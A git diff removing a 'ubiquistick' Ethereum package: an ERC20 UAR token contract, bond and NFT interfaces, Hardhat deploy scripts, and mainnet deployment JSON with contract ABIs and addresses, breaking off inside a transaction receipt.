a/packages/contracts/ubiquistick/contracts/UAR.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; -import "./interfaces/IUAR.sol"; - -contract UAR is IUAR, ERC20, Ownable { - address public immutable treasuryAddress; - - constructor( - string memory name, - string memory symbol, - address treasuryAddress_ - ) ERC20(name, symbol) { - treasuryAddress = treasuryAddress_; - } - - /// @notice raise capital in form of uAR (only redeemable when uAD > 1$) - /// @param amount the amount to be minted - /// @dev you should be minter to call that function - function raiseCapital(uint256 amount) external override onlyOwner { - _mint(treasuryAddress, amount); - } -} diff --git a/packages/contracts/ubiquistick/contracts/interfaces/ISimpleBond.sol b/packages/contracts/ubiquistick/contracts/interfaces/ISimpleBond.sol deleted file mode 100644 index db606c0ec..000000000 --- a/packages/contracts/ubiquistick/contracts/interfaces/ISimpleBond.sol +++ /dev/null @@ -1,50 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -interface ISimpleBond { - event LogSetRewards(address token, uint256 rewardsRatio); - - event LogBond(address addr, address token, uint256 amount, uint256 rewards, uint256 block, uint256 bondId); - - event LogClaim(address addr, uint256 index, uint256 rewards); - - function setSticker(address sticker) external; - - function setRewards(address token, uint256 tokenRewardsRatio) external; - - function setTreasury(address treasury) external; - - function setVestingBlocks(uint256 vestingBlocks_) external; - - function pause() external; - - function unpause() external; - - function bond(address token, uint256 amount) external returns (uint256 bondId); - - function bondsCount(address token) external returns (uint256 bondNb); - - function claim() external returns (uint256 claimed); - - function claimBond(uint256 index) external returns (uint256 claimed); - - function withdraw(address token, uint256 amount) external; - - function rewardsOf(address addr) - external - view - returns ( - uint256 rewards, - uint256 rewardsClaimed, - uint256 rewardsClaimable - ); - - function rewardsBondOf(address addr, uint256 index) - external - view - returns ( - uint256 rewards, - uint256 rewardsClaimed, - uint256 rewardsClaimable - ); -} diff --git a/packages/contracts/ubiquistick/contracts/interfaces/ITheUbiquityStick.sol b/packages/contracts/ubiquistick/contracts/interfaces/ITheUbiquityStick.sol deleted file mode 100644 index 4ff13f693..000000000 --- a/packages/contracts/ubiquistick/contracts/interfaces/ITheUbiquityStick.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -interface ITheUbiquityStick { - function totalSupply() external view returns (uint256); - - function batchSafeMint(address, uint256) external; -} diff --git a/packages/contracts/ubiquistick/contracts/interfaces/IUAR.sol b/packages/contracts/ubiquistick/contracts/interfaces/IUAR.sol deleted file mode 100644 index fe5228507..000000000 --- a/packages/contracts/ubiquistick/contracts/interfaces/IUAR.sol +++ /dev/null @@ -1,6 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -interface IUAR { - function raiseCapital(uint256 amount) external; -} diff --git a/packages/contracts/ubiquistick/contracts/interfaces/IUBQManager.sol b/packages/contracts/ubiquistick/contracts/interfaces/IUBQManager.sol deleted file mode 100644 index 3c5276e71..000000000 --- a/packages/contracts/ubiquistick/contracts/interfaces/IUBQManager.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.9; - -interface IUBQManager { - function hasRole(bytes32 role, address account) external view returns (bool); - - function UBQ_MINTER_ROLE() external view returns (bytes32); -} diff --git a/packages/contracts/ubiquistick/deploy/1-deployTheUbiquityStick.ts b/packages/contracts/ubiquistick/deploy/1-deployTheUbiquityStick.ts deleted file mode 100644 index d08fb76d1..000000000 --- a/packages/contracts/ubiquistick/deploy/1-deployTheUbiquityStick.ts +++ /dev/null @@ -1,32 +0,0 @@ -import type { DeployFunction } from "hardhat-deploy/types"; -import { TheUbiquityStick } from "../types/TheUbiquityStick"; -import tokenURIs from "../metadata/json.json"; - -const deployTheUbiquityStick: DeployFunction = async function ({ ethers, deployments, getNamedAccounts }) { - const { deploy } = deployments; - const deployer = await ethers.getNamedSigner("deployer"); - console.log("deployer", deployer.address); - - const ten = ethers.BigNumber.from("10"); - const gwei = ten.pow(9); - - const deployResult = await deploy("TheUbiquityStick", { - from: deployer.address, - args: [], - log: true, - // type: 2, - // gasLimit: BigNumber.from("1000000"), - // gasPrice: BigNumber.from("1000000000") - // maxFeePerGas: gwei.mul(10), - // maxPriorityFeePerGas: gwei.mul(10) - }); - if (deployResult.newlyDeployed) { - const theUbiquityStick = new ethers.Contract(deployResult.address, deployResult.abi, deployer) as TheUbiquityStick; - await theUbiquityStick.connect(deployer).setTokenURI(0, tokenURIs.standardJson); - await theUbiquityStick.connect(deployer).setTokenURI(1, tokenURIs.goldJson); - await theUbiquityStick.connect(deployer).setTokenURI(2, tokenURIs.invisibleJson); - } -}; -export default deployTheUbiquityStick; - -deployTheUbiquityStick.tags = ["TheUbiquityStick"]; diff --git a/packages/contracts/ubiquistick/deploy/2-deployTheUbiquityStickSale.ts b/packages/contracts/ubiquistick/deploy/2-deployTheUbiquityStickSale.ts deleted file mode 100644 index ccc313fb0..000000000 --- a/packages/contracts/ubiquistick/deploy/2-deployTheUbiquityStickSale.ts +++ /dev/null @@ -1,24 +0,0 @@ -import type { DeployFunction } from "hardhat-deploy/types"; - -const deployTheUbiquityStickSale: DeployFunction = async function ({ ethers, deployments, getNamedAccounts }) { - const { deployer } = await ethers.getNamedSigners(); - const { treasury } = await getNamedAccounts(); - - const deployResult = await deployments.deploy("TheUbiquityStickSale", { - from: deployer.address, - args: [], - log: true, - }); - if (deployResult.newlyDeployed) { - const theUbiquityStick = await ethers.getContract("TheUbiquityStick"); - await theUbiquityStick.connect(deployer).setMinter(deployResult.address); - - const theUbiquityStickSale = new ethers.Contract(deployResult.address, deployResult.abi, deployer); - await theUbiquityStickSale.connect(deployer).setFundsAddress(treasury); - await theUbiquityStickSale.connect(deployer).setTokenContract(theUbiquityStick?.address); - } -}; -export default deployTheUbiquityStickSale; - -deployTheUbiquityStickSale.tags = ["TheUbiquityStickSale"]; -deployTheUbiquityStickSale.dependencies = ["TheUbiquityStick"]; diff --git a/packages/contracts/ubiquistick/deploy/3-deployLP.ts b/packages/contracts/ubiquistick/deploy/3-deployLP.ts deleted file mode 100644 index 790814583..000000000 --- a/packages/contracts/ubiquistick/deploy/3-deployLP.ts +++ /dev/null @@ -1,23 +0,0 @@ -import type { DeployFunction } from "hardhat-deploy/types"; - -import { HardhatRuntimeEnvironment } from "hardhat/types"; - -const deployLP: DeployFunction = async function (hre: HardhatRuntimeEnvironment) { - const { deployments, getNamedAccounts } = hre; - - const { deploy } = deployments; - const { deployer } = await getNamedAccounts(); - - const deployResult = await deploy("LP", { - from: deployer, - args: ["LP token", "LP"], - log: true, - }); - if (deployResult.newlyDeployed) { - console.log("New LP deployment"); - } -}; -deployLP.tags = ["Tokens", "LP"]; -deployLP.skip = async ({ network }) => network.name === "mainnet"; - -export default deployLP; diff --git a/packages/contracts/ubiquistick/deploy/4-deployUAR.ts b/packages/contracts/ubiquistick/deploy/4-deployUAR.ts deleted file mode 100644 index d1c1133af..000000000 --- a/packages/contracts/ubiquistick/deploy/4-deployUAR.ts +++ /dev/null @@ -1,23 +0,0 @@ -import type { DeployFunction } from "hardhat-deploy/types"; - -import { HardhatRuntimeEnvironment } from "hardhat/types"; - -const deployUAR: DeployFunction = async function (hre: HardhatRuntimeEnvironment) { - const { ethers, deployments, getNamedAccounts } = hre; - - const { deploy } = deployments; - const { deployer, treasury } = await getNamedAccounts(); - - const deployResult = await deploy("UAR", { - from: deployer, - args: ["Ubiquity Auto Redeem", "uAR", treasury], - log: true, - }); - // if (deployResult.newlyDeployed) { - // console.log("New UAR deployment"); - // } -}; -deployUAR.tags = ["Tokens", "UAR"]; -deployUAR.skip = async ({ network }) => network.name === "mainnet"; - -export default deployUAR; diff --git a/packages/contracts/ubiquistick/deploy/5-deploySimpleBond.ts b/packages/contracts/ubiquistick/deploy/5-deploySimpleBond.ts deleted file mode 100644 index 5797a1d82..000000000 --- a/packages/contracts/ubiquistick/deploy/5-deploySimpleBond.ts +++ /dev/null @@ -1,43 +0,0 @@ -import type { SimpleBond } from "../types/SimpleBond"; -import type { HardhatRuntimeEnvironment } from "hardhat/types"; - -const deploySimpleBond = async function (hre: HardhatRuntimeEnvironment) { - const { deployments, getNamedAccounts, network, ethers } = hre; - const { deploy } = deployments; - const { provider, BigNumber } = ethers; - const { deployer, treasury } = await ethers.getNamedSigners(); - - const uARDeployment = await deployments.get("UAR"); - - const vestingBlocks = 32300; // about 5 days - const allowance = BigNumber.from(10).pow(32); - - const deploySimpleBond = await deploy("SimpleBond", { - from: deployer.address, - args: [uARDeployment.address, vestingBlocks, treasury.address], - log: true, - }); - - if (deploySimpleBond.newlyDeployed) { - const theUbiquityStick = await ethers.getContract("TheUbiquityStick"); - const simpleBond = new ethers.Contract(deploySimpleBond.address, deploySimpleBond.abi, deployer) as SimpleBond; - await simpleBond.setSticker(theUbiquityStick.address); - - if (network.name === "mainnet") { - console.log("Have to allow MINTER_ROLE to SimpleBond"); - console.log("Have to set infinite allowance to SimpleBond"); - } else { - // Transfer ownership of uAR Token to SimpleBond contract in order to Mint it - const uARContract = new ethers.Contract(uARDeployment.address, uARDeployment.abi, provider); - await (await uARContract.connect(deployer).transferOwnership(deploySimpleBond.address)).wait(); - - // Set allowance for SimpleBond to spend treasury money - await uARContract.connect(treasury).increaseAllowance(deploySimpleBond.address, allowance); - } - } -}; -deploySimpleBond.tags = ["SimpleBond"]; -deploySimpleBond.dependencies = ["Tokens", "TheUbiquityStick"]; -deploySimpleBond.runAtTheEnd = () => console.log("END"); - -export default deploySimpleBond; diff --git a/packages/contracts/ubiquistick/deployments.json b/packages/contracts/ubiquistick/deployments.json deleted file mode 100644 index 08a5cae99..000000000 --- a/packages/contracts/ubiquistick/deployments.json +++ /dev/null @@ -1,875 +0,0 @@ -{ - "1": [ - { - "name": "mainnet", - "chainId": "1", - "contracts": { - "TheUbiquityStick": { - "address": "0xaaB265CCeB890C0e6E09Aa6F5ee63b33De649374", - "abi": [ - { - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "approved", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "previousOwner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "OwnershipTransferred", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "count", - "type": "uint256" - } - ], - "name": "batchSafeMint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "getApproved", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "gold", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minter", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "owner", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "ownerOf", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "renounceOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - } - ], - "name": "safeMint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "_data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "minter_", - "type": "address" - } - ], - "name": "setMinter", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "ntype", - "type": "uint256" - }, - { - "internalType": "string", - "name": "tokenURI_", - "type": "string" - } - ], - "name": "setTokenURI", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "index", - "type": "uint256" - } - ], - "name": "tokenByIndex", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "tokenIdNext", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "uint256", - "name": "index", - "type": "uint256" - } - ], - "name": "tokenOfOwnerByIndex", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "tokenURI", - "outputs": [ - { - "internalType": "string", - "name": "uri", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "transferOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "TheUbiquityStickSale": { - "address": "0x035e4568F2738917512E4222A8837ad22d21BB1d", - "abi": [ - { - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "count", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "price", - "type": "uint256" - } - ], - "name": "Mint", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "previousOwner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "OwnershipTransferred", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "unspent", - "type": "uint256" - } - ], - "name": "Payback", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [], - "name": "MAXIMUM_PER_TX", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "MAXIMUM_SUPPLY", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "count", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "price", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "_addresses", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_counts", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_prices", - "type": "uint256[]" - } - ], - "name": "batchSetAllowances", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "fundsAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "owner", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "renounceOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_count", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_price", - "type": "uint256" - } - ], - "name": "setAllowance", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - } - ], - "name": "setFundsAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_newTokenContract", - "type": "address" - } - ], - "name": "setTokenContract", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "tokenContract", - "outputs": [ - { - "internalType": "contract ITheUbiquityStick", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "transferOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ] - } - } - } - ], - "31337": [ - { - "name": "hardhat", - "chainId": "31337", - "contracts": {} - } - ] -} \ No newline at end of file diff --git a/packages/contracts/ubiquistick/deployments/mainnet/.chainId b/packages/contracts/ubiquistick/deployments/mainnet/.chainId deleted file mode 100644 index 56a6051ca..000000000 --- a/packages/contracts/ubiquistick/deployments/mainnet/.chainId +++ /dev/null @@ -1 +0,0 @@ -1 \ No newline at end of file diff --git a/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStick.json b/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStick.json deleted file mode 100644 index e9831b3d9..000000000 --- a/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStick.json +++ /dev/null @@ -1,889 +0,0 @@ -{ - "address": "0xaaB265CCeB890C0e6E09Aa6F5ee63b33De649374", - "abi": [ - { - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "approved", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "previousOwner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "OwnershipTransferred", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "count", - "type": "uint256" - } - ], - "name": "batchSafeMint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "getApproved", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "gold", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minter", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "owner", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "ownerOf", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "renounceOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - } - ], - "name": "safeMint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "_data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "minter_", - "type": "address" - } - ], - "name": "setMinter", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "ntype", - "type": "uint256" - }, - { - "internalType": "string", - "name": "tokenURI_", - "type": "string" - } - ], - "name": "setTokenURI", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "index", - "type": "uint256" - } - ], - "name": "tokenByIndex", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "tokenIdNext", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "uint256", - "name": "index", - "type": "uint256" - } - ], - "name": "tokenOfOwnerByIndex", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "tokenURI", - "outputs": [ - { - "internalType": "string", - "name": "uri", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "tokenId", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "transferOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0xc18e5c0fd1d54aad15be30d20b1cf8d45c9a28f69d90b948a26083baf7ab38b4", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0xaaB265CCeB890C0e6E09Aa6F5ee63b33De649374", - "transactionIndex": 136, - "gasUsed": "1841068", - "logsBloom": "0x00000000000000000000000000000000000000000000000000802000000000000000000000000000000800000004001000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000100000020000000000001000000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": 